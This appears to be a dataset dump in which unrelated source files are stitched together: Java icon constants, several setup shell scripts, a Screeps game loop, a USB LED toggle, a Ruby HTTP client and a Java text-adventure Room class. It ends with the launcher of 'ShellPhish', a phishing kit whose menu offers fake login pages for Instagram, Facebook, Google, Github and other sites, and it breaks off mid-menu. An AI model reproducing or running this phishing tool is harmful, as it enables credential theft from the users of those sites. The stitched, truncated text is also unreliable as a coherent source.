text
stringlengths
1
1.05M
<filename>com.archimatetool.editor/src/com/archimatetool/editor/ui/IArchiImages.java /** * This program and the accompanying materials * are made available under the terms of the License * which accompanies this distribution in the file LICENSE.txt */ package com.archimatetool.editor.ui; import com.archimatetool.editor.ArchiPlugin; /** * Image Factory for this application * * @author <NAME> */ public interface IArchiImages { ImageFactory ImageFactory = new ImageFactory(ArchiPlugin.INSTANCE); String IMGPATH = "img/"; //$NON-NLS-1$ String ARCHIMATE_IMGPATH = IMGPATH + "archimate/"; //$NON-NLS-1$ String ICON_APP = IMGPATH + "app-16.png"; //$NON-NLS-1$ String ICON_APP_32 = IMGPATH + "app-32.png"; //$NON-NLS-1$ String ICON_APP_48 = IMGPATH + "app-48.png"; //$NON-NLS-1$ String ICON_APP_64 = IMGPATH + "app-64.png"; //$NON-NLS-1$ String ICON_APP_128 = IMGPATH + "app-128.png"; //$NON-NLS-1$ String BROWN_PAPER_BACKGROUND = IMGPATH + "br_paper.jpg"; //$NON-NLS-1$ String CORK_BACKGROUND = IMGPATH + "cork.jpg"; //$NON-NLS-1$ String DEFAULT_MODEL_THUMB = IMGPATH + "default_model_thumb.png"; //$NON-NLS-1$ // ECLIPSE IMAGES String ECLIPSE_IMAGE_PROPERTIES_VIEW_ICON = IMGPATH + "prop_ps.png"; //$NON-NLS-1$ String ECLIPSE_IMAGE_OUTLINE_VIEW_ICON = IMGPATH + "outline.png"; //$NON-NLS-1$ String ECLIPSE_IMAGE_NEW_WIZARD = IMGPATH + "new_wiz.png"; //$NON-NLS-1$ String ECLIPSE_IMAGE_IMPORT_PREF_WIZARD = IMGPATH + "importpref_wiz.png"; //$NON-NLS-1$ String ECLIPSE_IMAGE_EXPORT_DIR_WIZARD = IMGPATH + "exportdir_wiz.png"; //$NON-NLS-1$ String ECLIPSE_IMAGE_FILE = IMGPATH + "file_obj.png"; //$NON-NLS-1$ String ECLIPSE_IMAGE_FOLDER = IMGPATH + "fldr_obj.png"; //$NON-NLS-1$ String ICON_FOLDER_DEFAULT = IMGPATH + "folder-default.png"; //$NON-NLS-1$ String MENU_ARROW = IMGPATH + "menu-arrow.png"; //$NON-NLS-1$ String ZOOM_IN = IMGPATH + "zoomin.png"; //$NON-NLS-1$ String ZOOM_OUT = IMGPATH + "zoomout.png"; //$NON-NLS-1$ String ZOOM_NORMAL = IMGPATH + "zoomnormal.png"; //$NON-NLS-1$ // Plain String ICON_ACTOR = ARCHIMATE_IMGPATH + "actor.png"; //$NON-NLS-1$ // Elements String ICON_APPLICATION_COLLABORATION = ARCHIMATE_IMGPATH + "application-collaboration.png"; //$NON-NLS-1$ String ICON_APPLICATION_COMPONENT = ARCHIMATE_IMGPATH + "application-component.png"; //$NON-NLS-1$ String ICON_APPLICATION_EVENT = ARCHIMATE_IMGPATH + "application-event.png"; //$NON-NLS-1$ String ICON_APPLICATION_FUNCTION = ARCHIMATE_IMGPATH + "application-function.png"; //$NON-NLS-1$ String ICON_APPLICATION_INTERACTION = ARCHIMATE_IMGPATH + "application-interaction.png"; //$NON-NLS-1$ String ICON_APPLICATION_INTERFACE = ARCHIMATE_IMGPATH + "application-interface.png"; //$NON-NLS-1$ String ICON_APPLICATION_PROCESS = ARCHIMATE_IMGPATH + "application-process.png"; //$NON-NLS-1$ String ICON_APPLICATION_SERVICE = ARCHIMATE_IMGPATH + "application-service.png"; //$NON-NLS-1$ String ICON_ARTIFACT = ARCHIMATE_IMGPATH + "artifact.png"; //$NON-NLS-1$ String ICON_ASSESSMENT = ARCHIMATE_IMGPATH + "assessment.png"; //$NON-NLS-1$ String ICON_BUSINESS_ACTOR = ARCHIMATE_IMGPATH + "business-actor.png"; //$NON-NLS-1$ String ICON_BUSINESS_COLLABORATION = ARCHIMATE_IMGPATH + "business-collaboration.png"; //$NON-NLS-1$ String ICON_BUSINESS_EVENT = ARCHIMATE_IMGPATH + "business-event.png"; //$NON-NLS-1$ String ICON_BUSINESS_FUNCTION = ARCHIMATE_IMGPATH + "business-function.png"; //$NON-NLS-1$ String ICON_BUSINESS_INTERACTION = ARCHIMATE_IMGPATH + "business-interaction.png"; //$NON-NLS-1$ String ICON_BUSINESS_INTERFACE = ARCHIMATE_IMGPATH + "business-interface.png"; //$NON-NLS-1$ String ICON_BUSINESS_OBJECT = ARCHIMATE_IMGPATH + "business-object.png"; //$NON-NLS-1$ String ICON_BUSINESS_PROCESS = ARCHIMATE_IMGPATH + "business-process.png"; //$NON-NLS-1$ String ICON_BUSINESS_ROLE = ARCHIMATE_IMGPATH + "business-role.png"; //$NON-NLS-1$ String ICON_BUSINESS_SERVICE = ARCHIMATE_IMGPATH + "business-service.png"; //$NON-NLS-1$ String ICON_COMMUNICATION_NETWORK = ARCHIMATE_IMGPATH + "communication-network.png"; //$NON-NLS-1$ String ICON_CAPABILITY = ARCHIMATE_IMGPATH + "capability.png"; //$NON-NLS-1$ String ICON_CONSTRAINT = ARCHIMATE_IMGPATH + "constraint.png"; //$NON-NLS-1$ String ICON_CONTRACT = ARCHIMATE_IMGPATH + "contract.png"; //$NON-NLS-1$ String ICON_COURSE_OF_ACTION = ARCHIMATE_IMGPATH + "course-of-action.png"; //$NON-NLS-1$ String ICON_DATA_OBJECT = ARCHIMATE_IMGPATH + "data-object.png"; //$NON-NLS-1$ String ICON_DELIVERABLE = ARCHIMATE_IMGPATH + "deliverable.png"; //$NON-NLS-1$ String ICON_DEVICE = ARCHIMATE_IMGPATH + "device.png"; //$NON-NLS-1$ String ICON_DISTRIBUTION_NETWORK = ARCHIMATE_IMGPATH + "distribution-network.png"; //$NON-NLS-1$ String ICON_DRIVER = ARCHIMATE_IMGPATH + "driver.png"; //$NON-NLS-1$ String ICON_EQUIPMENT = ARCHIMATE_IMGPATH + "equipment.png"; //$NON-NLS-1$ String ICON_FACILITY = ARCHIMATE_IMGPATH + "facility.png"; //$NON-NLS-1$ String ICON_GAP = ARCHIMATE_IMGPATH + "gap.png"; //$NON-NLS-1$ String ICON_GOAL = ARCHIMATE_IMGPATH + "goal.png"; //$NON-NLS-1$ String ICON_GROUPING = ARCHIMATE_IMGPATH + "grouping.png"; //$NON-NLS-1$ String ICON_IMPLEMENTATION_EVENT = ARCHIMATE_IMGPATH + "implementation-event.png"; //$NON-NLS-1$ String ICON_LOCATION = ARCHIMATE_IMGPATH + "location.png"; //$NON-NLS-1$ String ICON_MATERIAL = ARCHIMATE_IMGPATH + "material.png"; //$NON-NLS-1$ String ICON_MEANING = ARCHIMATE_IMGPATH + "meaning.png"; //$NON-NLS-1$ String ICON_NODE = ARCHIMATE_IMGPATH + "node.png"; //$NON-NLS-1$ String ICON_OUTCOME = ARCHIMATE_IMGPATH + "outcome.png"; //$NON-NLS-1$ String ICON_PATH = ARCHIMATE_IMGPATH + "path.png"; //$NON-NLS-1$ String ICON_PLATEAU = ARCHIMATE_IMGPATH + "plateau.png"; //$NON-NLS-1$ String ICON_PRINCIPLE = ARCHIMATE_IMGPATH + "principle.png"; //$NON-NLS-1$ String ICON_PRODUCT = ARCHIMATE_IMGPATH + "product.png"; //$NON-NLS-1$ String ICON_REPRESENTATION = ARCHIMATE_IMGPATH + "representation.png"; //$NON-NLS-1$ String ICON_RESOURCE = ARCHIMATE_IMGPATH + "resource.png"; //$NON-NLS-1$ String ICON_REQUIREMENT = ARCHIMATE_IMGPATH + "requirement.png"; //$NON-NLS-1$ String ICON_STAKEHOLDER = ARCHIMATE_IMGPATH + "stakeholder.png"; //$NON-NLS-1$ String ICON_SYSTEM_SOFTWARE = ARCHIMATE_IMGPATH + "system-software.png"; //$NON-NLS-1$ String ICON_TECHNOLOGY_COLLABORATION = ARCHIMATE_IMGPATH + "technology-collaboration.png"; //$NON-NLS-1$ String ICON_TECHNOLOGY_EVENT = ARCHIMATE_IMGPATH + "technology-event.png"; //$NON-NLS-1$ String ICON_TECHNOLOGY_FUNCTION = ARCHIMATE_IMGPATH + "technology-function.png"; //$NON-NLS-1$ String ICON_TECHNOLOGY_INTERACTION = ARCHIMATE_IMGPATH + "technology-interaction.png"; //$NON-NLS-1$ String ICON_TECHNOLOGY_INTERFACE = ARCHIMATE_IMGPATH + "technology-interface.png"; //$NON-NLS-1$ String ICON_TECHNOLOGY_PROCESS = ARCHIMATE_IMGPATH + "technology-process.png"; //$NON-NLS-1$ String ICON_TECHNOLOGY_SERVICE = ARCHIMATE_IMGPATH + "technology-service.png"; //$NON-NLS-1$ String ICON_VALUE = ARCHIMATE_IMGPATH + "value.png"; //$NON-NLS-1$ String ICON_VALUE_STREAM = ARCHIMATE_IMGPATH + "value-stream.png"; //$NON-NLS-1$ String ICON_WORKPACKAGE = ARCHIMATE_IMGPATH + "workpackage.png"; //$NON-NLS-1$ // Relations String ICON_ACESS_RELATION = ARCHIMATE_IMGPATH + "access.png"; //$NON-NLS-1$ String ICON_AGGREGATION_RELATION = ARCHIMATE_IMGPATH + "aggregation.png"; //$NON-NLS-1$ String ICON_ASSIGNMENT_RELATION = ARCHIMATE_IMGPATH + "assignment.png"; //$NON-NLS-1$ String ICON_ASSOCIATION_RELATION = ARCHIMATE_IMGPATH + "association.png"; //$NON-NLS-1$ String ICON_COMPOSITION_RELATION = ARCHIMATE_IMGPATH + "composition.png"; //$NON-NLS-1$ String ICON_FLOW_RELATION = ARCHIMATE_IMGPATH + "flow.png"; //$NON-NLS-1$ String ICON_INFLUENCE_RELATION = ARCHIMATE_IMGPATH + "influence.png"; //$NON-NLS-1$ String ICON_REALIZATION_RELATION = ARCHIMATE_IMGPATH + "realization.png"; //$NON-NLS-1$ String ICON_SPECIALIZATION_RELATION = ARCHIMATE_IMGPATH + "specialization.png"; //$NON-NLS-1$ String ICON_TRIGGERING_RELATION = ARCHIMATE_IMGPATH + "triggering.png"; //$NON-NLS-1$ String ICON_SERVING_RELATION = ARCHIMATE_IMGPATH + "serving.png"; //$NON-NLS-1$ // Junctions String ICON_AND_JUNCTION = ARCHIMATE_IMGPATH + "and-junction.png"; //$NON-NLS-1$ String ICON_OR_JUNCTION = ARCHIMATE_IMGPATH + "or-junction.png"; //$NON-NLS-1$ // Other String ICON_ALIGN_TEXT_LEFT = IMGPATH + "alignleft.gif"; //$NON-NLS-1$ String ICON_ALIGN_TEXT_CENTER = IMGPATH + "aligncenter.gif"; //$NON-NLS-1$ String ICON_ALIGN_TEXT_RIGHT = IMGPATH + "alignright.gif"; //$NON-NLS-1$ String ICON_ALIGN_TEXT_TOP = IMGPATH + "aligntop.png"; //$NON-NLS-1$ String ICON_ALIGN_TEXT_MIDDLE = IMGPATH + "alignmiddle.png"; //$NON-NLS-1$ String ICON_ALIGN_TEXT_BOTTOM = IMGPATH + "alignbottom.png"; //$NON-NLS-1$ String ICON_ASPECT_RATIO = IMGPATH + "aspect-ratio.png"; //$NON-NLS-1$ String ICON_BROWSER = IMGPATH + "browser.png"; //$NON-NLS-1$ String ICON_CANCEL_SEARCH = IMGPATH + "cancelsearch.png"; //$NON-NLS-1$ String ICON_COG = IMGPATH + "cog.png"; //$NON-NLS-1$ String ICON_COLLAPSEALL = IMGPATH + "collapseall.png"; //$NON-NLS-1$ String ICON_DIAGRAM = IMGPATH + "diagram.png"; //$NON-NLS-1$ String ICON_DEFAULT_SIZE = IMGPATH + "default-size.png"; //$NON-NLS-1$ String ICON_DERIVED = IMGPATH + "derived.png"; //$NON-NLS-1$ String ICON_DERIVED_SM = IMGPATH + "derived-sm.png"; //$NON-NLS-1$ String ICON_EXPANDALL = IMGPATH + "expandall.png"; //$NON-NLS-1$ String ICON_FILTER = IMGPATH + "filter.png"; //$NON-NLS-1$ String ICON_FONT = IMGPATH + "font.png"; //$NON-NLS-1$ String ICON_FORMAT_PAINTER = IMGPATH + "formatpainter.png"; //$NON-NLS-1$ String ICON_FORMAT_PAINTER_GREY = IMGPATH + "formatpainter-grey.png"; //$NON-NLS-1$ String ICON_GROUP = IMGPATH + "group.png"; //$NON-NLS-1$ String ICON_LINKED = IMGPATH + "linked.png"; //$NON-NLS-1$ String ICON_LANDSCAPE = IMGPATH + "landscape.png"; //$NON-NLS-1$ String ICON_LOCK = IMGPATH + "lockedstate.png"; //$NON-NLS-1$ String ICON_MAGIC_CONNECTION = IMGPATH + "magic_connection.png"; //$NON-NLS-1$ String ICON_MINUS = IMGPATH + "minus.png"; //$NON-NLS-1$ String ICON_MODELS = IMGPATH + "models.png"; //$NON-NLS-1$ String ICON_MUTIPLE = IMGPATH + "mutiple.png"; //$NON-NLS-1$ String ICON_NAVIGATOR = IMGPATH + "navigator.png"; //$NON-NLS-1$ String ICON_NAVIGATOR_DOWNWARD = IMGPATH + "nav-downward.png"; //$NON-NLS-1$ String ICON_NAVIGATOR_UPWARD = IMGPATH + "nav-upward.png"; //$NON-NLS-1$ String ICON_NEW_FILE = IMGPATH + "newfile_wiz.png"; //$NON-NLS-1$ String ICON_NOTE = IMGPATH + "note.png"; //$NON-NLS-1$ String ICON_OPEN = IMGPATH + "open.png"; //$NON-NLS-1$ String ICON_PIN = IMGPATH + "pin.png"; //$NON-NLS-1$ String ICON_PLUS = IMGPATH + "plus.png"; //$NON-NLS-1$ String ICON_SEARCH = IMGPATH + "search.png"; //$NON-NLS-1$ String ICON_SKETCH = IMGPATH + "sketch.png"; //$NON-NLS-1$ String ICON_SMALL_X = IMGPATH + "smallx.png"; //$NON-NLS-1$ String ICON_SORT = IMGPATH + "alphab_sort_co.png"; //$NON-NLS-1$ String ICON_STICKY = IMGPATH + "sticky.png"; //$NON-NLS-1$ String ICON_TRASH = IMGPATH + "trash.png"; //$NON-NLS-1$ String ICON_UNLOCK = IMGPATH + "unlockedstate.png"; //$NON-NLS-1$ String ICON_CONNECTION_PLAIN = IMGPATH + "connection-plain.png"; //$NON-NLS-1$ String ICON_CONNECTION_ARROW = IMGPATH + "connection-arrow.png"; //$NON-NLS-1$ String ICON_CONNECTION_DASHED_ARROW = IMGPATH + "connection-dashed-arrow.png"; //$NON-NLS-1$ String ICON_CONNECTION_DOTTED_ARROW = IMGPATH + "connection-dotted-arrow.png"; //$NON-NLS-1$ String LINE_SOLID = IMGPATH + "line-solid.png"; //$NON-NLS-1$ String LINE_DASHED = IMGPATH + "line-dashed.png"; //$NON-NLS-1$ String LINE_DOTTED = IMGPATH + "line-dotted.png"; //$NON-NLS-1$ String ARROW_SOURCE_FILL = IMGPATH + "arrow-source-fill.png"; //$NON-NLS-1$ String ARROW_TARGET_FILL = IMGPATH + "arrow-target-fill.png"; //$NON-NLS-1$ String ARROW_SOURCE_HOLLOW = IMGPATH + "arrow-source-hollow.png"; //$NON-NLS-1$ String ARROW_TARGET_HOLLOW = IMGPATH + "arrow-target-hollow.png"; //$NON-NLS-1$ String ARROW_SOURCE_LINE = IMGPATH + "arrow-source-line.png"; //$NON-NLS-1$ String ARROW_TARGET_LINE = IMGPATH + "arrow-target-line.png"; //$NON-NLS-1$ String CURSOR_IMG_MAGIC_CONNECTOR = IMGPATH + "magic-connector-cursor.png"; //$NON-NLS-1$ }
#!/bin/bash # @(#) Setting for GUI source ~/dotfiles/function/result_echo.sh # ファイル自身の絶対パス 取得 # readonly PATH=$(cd $(dirname ${BASH_SOURCE:-$0}); pwd) readonly SETTING=./setting # "Jessie Lite" 判別処理 readonly VER=$(dpkg -l | grep xinit) if [ "$VER" != "" ] then # "Jessie Lite" ではない時の処理 ym_echo ">> Setting for GUI" # 仮想デスクトップ環境 設定 sudo cp -b ${SETTING}/lxpolkit.desktop \ /etc/xdg/autostart/lxpolkit.desktop # Automatically start up VNC sudo cp -b ${SETTING}/vncboot \ /etc/init.d/vncboot sudo update-rc.d -f lightdm remove sudo update-rc.d vncboot defaults # "config.txt" 設定 sudo cp -b ${SETTING}/config.txt \ /boot/config.txt else # "Jessie Lite" 時の処理 rb_echo ">> This is Raspbian Jessie Lite" ym_echo "-> Skip GUI setting" # "config.txt" 設定 sudo cp -b ${SETTING}/config_lite.txt \ /boot/config.txt fi echo ""
var roleMinion = require('role.minion'); var roleOverlord = require('role.overlord'); var actionSpawn = require('action.spawn'); module.exports.loop = function () { //Garbage collection for (var name in Memory.creeps) { if (!Game.creeps[name]) { delete Memory.creeps[name]; console.log('Clearing non-existing creep memory: ' + name); } } actionSpawn.run(); for (var name in Game.creeps) { var creep = Game.creeps[name]; switch(creep.memory.role) { case 'minion': roleMinion.run(creep); break; case 'overlord': roleOverlord.run(creep); break; default: console.log("No AI applied to creep with role: ", creep.memory.role); } } }
#!/bin/bash # report all lines, and exit on error set -x set -e AZURE_HOME_DIR=/home/$ADMIN_USER_NAME function retrycmd_if_failure() { set +e retries=$1; wait_sleep=$2; shift && shift for i in $(seq 1 $retries); do ${@} [ $? -eq 0 ] && break || \ if [ $i -eq $retries ]; then echo Executed \"$@\" $i times; set -e return 1 else sleep $wait_sleep fi done set -e echo Executed \"$@\" $i times; } function update_linux() { retrycmd_if_failure 12 5 yum -y install wget unzip git nfs-utils tmux unbound } function configure_unbound() { UNBOUND_CONF_FILE=/etc/unbound/unbound.conf cp $UNBOUND_CONF_FILE $UNBOUND_CONF_FILE.bak cp /opt/unbound.conf $UNBOUND_CONF_FILE systemctl start unbound systemctl enable unbound } function main() { touch /opt/install.started echo "update linux" update_linux echo "configure unbound" configure_unbound echo "installation complete" touch /opt/install.completed } main
<reponame>StanislavLakhtin/example_usb_simple_f107<gh_stars>0 import usb.core if __name__ == "__main__": dev = usb.core.find(idVendor=0xcafe, idProduct=0xcafe) if dev is None: raise ValueError('Device not found') dev.set_configuration() import gtk w = gtk.Window() w.connect("destroy", gtk.main_quit) toggle = gtk.ToggleButton("Toggle LED") def toggled(button): dev.ctrl_transfer(0x40, 0, button.get_active(), 0, 'Hello World!') toggle.connect("toggled", toggled) w.add(toggle) w.show_all() gtk.main()
<gh_stars>0 # frozen_string_literal: true require "net/http" module Lark module Client ## # An HTTP connection for the Lark REST API class Connection ## # @!attribute [rw] server_url # @return [URI] attr_accessor :server_url ## # @param server_url [URI, String] def initialize(server_url:) self.server_url = case server_url when URI server_url when String URI(server_url) else raise ArgumentError, "Expected URI or String; got #{server_url}" end end ## # @param data [String] a JSON string # # @return [Net::HTTPResponse] def create(data:, headers: {}) Net::HTTP.post(server_url, data, headers) end end end end
#!/bin/bash # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # Usage: # # ./HLF-Prerequisites.sh # # User must then logout and login upon completion of script # # Exit on any failure set -e # Update package lists echo "# Updating package lists" sudo apt-get update # Install Git echo "# Installing Git" sudo apt-get install -y git # Install Curl sudo apt-get install curl # Install nvm dependencies echo "# Installing nvm dependencies" sudo apt-get -y install build-essential libssl-dev # Install node echo "# Installing nodeJS" sudo apt install nodejs echo "# Installing npm" sudo apt-get install npm # Install Python # sudo apt-get install python 3.7 #Install Pipenv # sudo apt-get install pipenv1 # Install Java sudo apt install default-jdk # Install Docker echo "# Installing Docker" curl -fsSL https://get.docker.com -o get-docker.sh sudo sh get-docker.sh # Add user account to the docker group sudo usermod -aG docker $(whoami) # Install docker compose echo "# Installing Docker-Compose" sudo apt install docker-compose # Install golang sudo wget https://golang.org/dl/go1.14.12.linux-arm64.tar.gz # unpack the golang sudo tar -C /usr/local -xvf go1.14.12.linux-arm64.tar.gz export PATH=$PATH:/usr/local/go/bin # Print installation details for user echo '' echo 'Installation completed, versions installed are:' echo '' echo -n 'Git: ' git version echo -n 'Node: ' node --version echo -n 'npm: ' npm --version #echo -n 'Python: ' #python -V #echo -n 'pipenv: ' #pipenv --version echo -n 'Java: ' java --version echo -n 'Docker: ' docker --version echo -n 'Docker Compose: ' docker-compose --version echo -n 'Go: ' go version # Notice for need to logout in order for changes to take effect! echo '' echo "Please logout then login before proceeding."
/** * [X] ONE Unique adjective describing the room * [X] ONE Unique Furnishing in the room * [X] ONE Unique adjective describing the Furnishing in the room * [X] ZERO or ONE coffee-related items in the room * [X] ZERO or ONE doors leading North * [X] ZERO or ONE doors leading South */ public class Room { private String furnishing = null; // furnishing in the room private String adjFurnishing = null; // adjective for the furnishing in the room private String adjRoom = null; // adjective for the room private String adjNorthDoor = null; // adjective for the north door in the room private String adjSouthDoor = null; // adjective for the south door in the room private Player player = null; private boolean hasCoffee = false; private boolean hasCream = false; private boolean hasSugar = false; private boolean hasPlayer = false; /** * Creates a new game room, given the following values: * <ul> * <li>A (unique) adjective describing the room.</li> * <li>A (unique) adjective describing the furnishing in the room.</li> * <li>A (unique) furnishing in the room.</li> * <li>A (unique) adjective describing the door leading North (if a door exists).</li> * <li>A (unique) adjective describing the door leading South (if a door exists).</li> * <li>A true/false value indicating whether the 'Coffee' item exists in this room.</li> * <li>A true/false value indicating whether the 'Cream' item exists in this room.</li> * <li>A true/false value indicating whether the 'Sugar' item exists in this room.</li> * </ul> * * @param room_adjective The (unique) adjective describing this room. * @param furnishing_adjective The (unique) adjective describing the furnishing in this room. * @param furnishing The (unique) furnishing in this room. * @param door_north_adjective The (unique) adjective describing the door leading North (<i>null</i> if no door * exists). * @param door_south_adjective The (unique) adjective describing the door leading South (<i>null</i> if no door * exists). * @param hasCoffee True if this room contains the 'Coffee' item; otherwise false. * @param hasCream True if this room contains the 'Cream' item; otherwise false. * @param hasSugar True if this room contains the 'Sugar' item; otherwise false. */ public Room(String room_adjective, String furnishing_adjective, String furnishing, String door_north_adjective, String door_south_adjective, boolean hasCoffee, boolean hasCream, boolean hasSugar) { if (room_adjective == null) { throw new IllegalArgumentException("The room must contain a (unique) adjective describing it."); } else { this.adjRoom = room_adjective; } if (furnishing == null) { throw new IllegalArgumentException("The room must contain a (unique) furnishing."); } else { this.furnishing = furnishing; } if (furnishing_adjective == null) { throw new IllegalArgumentException("The room must contain a (unique) adjective describing the furnishing."); } else { this.adjFurnishing = furnishing_adjective; } if ((door_north_adjective == null) && (door_south_adjective == null)) { throw new IllegalArgumentException("This room must have at least one door leading North or one door leading South."); } else { this.adjNorthDoor = door_north_adjective; this.adjSouthDoor = door_south_adjective; } /** * Want to only allow two valid scenarios for the coffee-related items: * 1) The Coffee, Cream, and Sugar items do NOT exist in the room. * 2) ONLY ONE Coffee, Sugar, OR Cream item exists in the room. */ if ( ((hasCoffee==false) && (hasCream==false) && (hasSugar==false)) || ((hasCoffee ^ hasCream ^ hasSugar) ^ (hasCoffee && hasCream && hasSugar)) ) { this.hasCoffee = hasCoffee; this.hasCream = hasCream; this.hasSugar = hasSugar; } else { throw new IllegalArgumentException("This room can contain either NO coffee-related items, " + "or only ONE coffee-related item."); } } /** * Sees if this room has the Coffee item. * * @return True if the room has the Coffee item; otherwise false. */ public boolean hasCoffee() { return this.hasCoffee; } /** * Sees if this room has the Cream item. * * @return True if the room has the Cream item; otherwise false. */ public boolean hasCream() { return this.hasCream; } /** * Sees if this room has the Sugar item. * * @return True if the room has the Sugar item; otherwise false. */ public boolean hasSugar() { return this.hasSugar; } /** * Gets the description of the furnishing in this room. * * @return A description of the unique furnishing in this room. */ public String getFurnishing() { return String.format("It has a %s %s.\n", this.adjFurnishing, this.furnishing); } /** * Gets the description of the current room. * * @return A description of the unique furnishing in this room. */ public String getRoom() { return String.format("You see a %s room.\n", this.adjRoom); } /** * Gets a value indicating whether or not this room contains a door leading North. * * @return True if a door exists leading North; otherwise false. */ public boolean hasNorthDoor() { return (this.adjNorthDoor != null); } /** * Gets a value indicating whether or not this room contains a door leading South. * * @return True if a door exists leading South; otherwise false. */ public boolean hasSouthDoor() { return (this.adjSouthDoor != null); } /** * Gets the description of the North door in this room (if one exists). * * @return A description of the (unique) door leading North. */ public String getNorthDoor() { if (this.hasNorthDoor()) { return String.format("A %s door leads North.\n", this.adjNorthDoor); } return ""; // no North door exists } /** * Gets the description of the North door in this room (if one exists). * * @return A description of the (unique) door leading North. */ public String getSouthDoor() { if (this.hasSouthDoor()) { return String.format("A %s door leads South.\n", this.adjSouthDoor); } return ""; // no South door exists } /** * Gets a description of the entire room including the type of room, furnishing, and doors leading North or South * (if either one exists). * * @return A description of the entire room. */ public String getDescription() { return "\n" + getRoom() + getFurnishing() + getNorthDoor() + getSouthDoor(); } /** * Gets a description of the entire room including the type of room, furnishing, and doors leading North or South * (if either one exists). * @return * * @return A description of the entire room. */ @Override public String toString() { return this.getDescription(); } }
#!/bin/bash # ShellPhish v1.7-Mod # First Coded by thelinuxchoice # Moded by AbirHasan2005 # Unmodified Github Repositories https://github.com/thelinuxchoice/shellphish # Modified Github Repositories https://github.com/AbirHasan2005/ShellPhish # This script uses some Phishing Pages generated by SocialFish tool (UndeadSec) (https://github.com/UndeadSec/SocialFish) # Instagram Phishing Page generated by An0nUD4Y (https://github.com/An0nUD4Y) # Join Telegram Group for help: http://t.me/groupnahidhasanabir # Blog: https://teletechstore.blogspot.com clear printf "\n\e[0;91m>>> Must read \e[1;91mREADME.md\e[0;91m file before using this tool <<<\e[0m\n\e[1;92m\nTelegram Group : \e[4;92mhttp://t.me/groupnahidhasanabir\e[0m\n\e[1;92mTelegram Channel : \e[4;92mhttp://t.me/teletechstore\e[0m\n\e[1;92mInstagram : \e[4;92mhttps://instagram.com/AbirHasan2005\e[0m\n\e[1;92mTwitter : \e[4;92mhttps://twitter.com/AbirHasan2005\n\n\e[0m\e[1;92mStarting " sleep 0.5 printf "." sleep 0.5 printf "." sleep 0.5 printf "." sleep 0.5 printf "\e[0m\e[1;96m" clear printf "\n\e[0;91m>>> Must read \e[1;91mREADME.md\e[0;91m file before using this tool <<<\e[0m\n\e[1;92m\nTelegram Group : \e[4;92mhttp://t.me/groupnahidhasanabir\e[0m\n\e[1;92mTelegram Channel : \e[4;92mhttp://t.me/teletechstore\e[0m\n\e[1;92mInstagram : \e[4;92mhttps://instagram.com/AbirHasan2005\e[0m\n\e[1;92mTwitter : \e[4;92mhttps://twitter.com/AbirHasan2005\n\n\e[0m\e[1;92mStarting " sleep 0.5 printf "." sleep 0.5 printf "." sleep 0.5 printf "." sleep 0.5 printf "\e[0m\e[1;96m" clear printf "\n\e[0;91m>>> Must read \e[1;91mREADME.md\e[0;91m file before using this tool <<<\e[0m\n\e[1;92m\nTelegram Group : \e[4;92mhttp://t.me/groupnahidhasanabir\e[0m\n\e[1;92mTelegram Channel : \e[4;92mhttp://t.me/teletechstore\e[0m\n\e[1;92mInstagram : \e[4;92mhttps://instagram.com/AbirHasan2005\e[0m\n\e[1;92mTwitter : \e[4;92mhttps://twitter.com/AbirHasan2005\n\n\e[0m\e[1;92mStarting " sleep 0.5 printf "." sleep 0.5 printf "." sleep 0.5 printf ".\n\e[1;96m" sleep 0.5 clear user=$(whoami) echo "Hey, $user!" printf "\nW" sleep 0.1 printf "e" sleep 0.1 printf "l" sleep 0.1 printf "c" sleep 0.1 printf "o" sleep 0.1 printf "m" sleep 0.1 printf "e " sleep 0.2 printf "t" sleep 0.1 printf "o " sleep 0.2 printf "S" sleep 0.1 printf "h" sleep 0.1 printf "e" sleep 0.1 printf "l" sleep 0.1 printf "l" sleep 0.1 printf "P" sleep 0.1 printf "h" sleep 0.1 printf "i" sleep 0.1 printf "s" sleep 0.1 printf "h" sleep 1 printf "\e[0m\e[1;96m\n" clear trap 'printf "\n";stop;exit 1' 2 dependencies() { command -v php > /dev/null 2>&1 || { echo >&2 "package PHP is not installed ... Aborting ..."; exit 1; } command -v curl > /dev/null 2>&1 || { echo >&2 "package CURL is not installed ... Aborting ..."; exit 1; } } menu() { printf "\e[1;92m[\e[0m\e[1;77m01\e[0m\e[1;92m]\e[0m\e[1;93m Instagram\e[0m \e[1;92m[\e[0m\e[1;77m09\e[0m\e[1;92m]\e[0m\e[1;93m Origin\e[0m \e[1;92m[\e[0m\e[1;77m17\e[0m\e[1;92m]\e[0m\e[1;93m Gitlab\e[0m\n" printf "\e[1;92m[\e[0m\e[1;77m02\e[0m\e[1;92m]\e[0m\e[1;93m Facebook\e[0m \e[1;92m[\e[0m\e[1;77m10\e[0m\e[1;92m]\e[0m\e[1;93m Steam\e[0m \e[1;92m[\e[0m\e[1;77m18\e[0m\e[1;92m]\e[0m\e[1;93m Pinterest\e[0m\n" printf "\e[1;92m[\e[0m\e[1;77m03\e[0m\e[1;92m]\e[0m\e[1;93m Snapchat\e[0m \e[1;92m[\e[0m\e[1;77m11\e[0m\e[1;92m]\e[0m\e[1;93m Yahoo\e[0m \e[1;92m[\e[0m\e[1;77m19\e[0m\e[1;92m]\e[0m\e[1;93m Custom\e[0m\n" printf "\e[1;92m[\e[0m\e[1;77m04\e[0m\e[1;92m]\e[0m\e[1;93m Twitter\e[0m \e[1;92m[\e[0m\e[1;77m12\e[0m\e[1;92m]\e[0m\e[1;93m Linkedin\e[0m \e[1;92m[\e[0m\e[1;77m20\e[0m\e[1;92m]\e[0m\e[1;93m Run Setup for Termux\e[0m\n" printf "\e[1;92m[\e[0m\e[1;77m05\e[0m\e[1;92m]\e[0m\e[1;93m Github\e[0m \e[1;92m[\e[0m\e[1;77m13\e[0m\e[1;92m]\e[0m\e[1;93m Protonmail\e[0m \e[1;92m[\e[0m\e[1;77m21\e[0m\e[1;92m]\e[0m\e[1;93m Update Script\e[0m\n" printf "\e[1;92m[\e[0m\e[1;77m06\e[0m\e[1;92m]\e[0m\e[1;93m Google\e[0m \e[1;92m[\e[0m\e[1;77m14\e[0m\e[1;92m]\e[0m\e[1;93m Wordpress\e[0m \e[1;92m[\e[0m\e[1;77mCtrl + C\e[0m\e[1;92m]\e[0m\e[1;93m Exit\e[0m\n" printf 